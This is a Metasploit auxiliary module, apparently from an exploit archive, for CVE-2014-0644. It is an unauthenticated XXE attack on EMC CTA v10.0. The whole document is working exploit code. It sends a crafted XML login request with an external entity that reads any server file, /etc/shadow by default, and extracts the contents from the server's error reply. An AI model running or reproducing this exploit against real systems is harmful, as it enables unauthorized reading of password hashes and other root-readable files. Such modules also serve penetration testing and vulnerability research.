EMC CTA 10.0 Unauthenticated XXE Arbitrary File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',  
'Description' => %q{  
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack  
that allows an attacker to read arbitrary files from the file system  
with the permissions of the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module  
],  
'References' =>  
[  
['CVE', '2014-0644'],  
['EDB', '32623']  
],  
'DisclosureDate' => '2014-03-31'  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [ true, "Base directory path", '/']),  
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),  
]  
)  
end  
  
def run  
  
doctype = Rex::Text.rand_text_alpha(6)  
element = Rex::Text.rand_text_alpha(6)  
entity = Rex::Text.rand_text_alpha(6)  
  
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE #{doctype} [  
<!ELEMENT #{element} ANY >  
<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>  
<Request>  
<Username>root</Username>  
<Password>&#{entity};</Password>  
</Request>  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'login'),  
'method' => 'POST',  
'data' => pay  
})  
  
if !res or !res.body  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")  
end  
  
file = /For input string: "(.*)"/m.match(res.body)  
  
if !file or file.length < 2  
fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")  
end  
  
file = file[1]  
  
path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])  
  
print_good("File saved to: " + path)  
end  
end  
`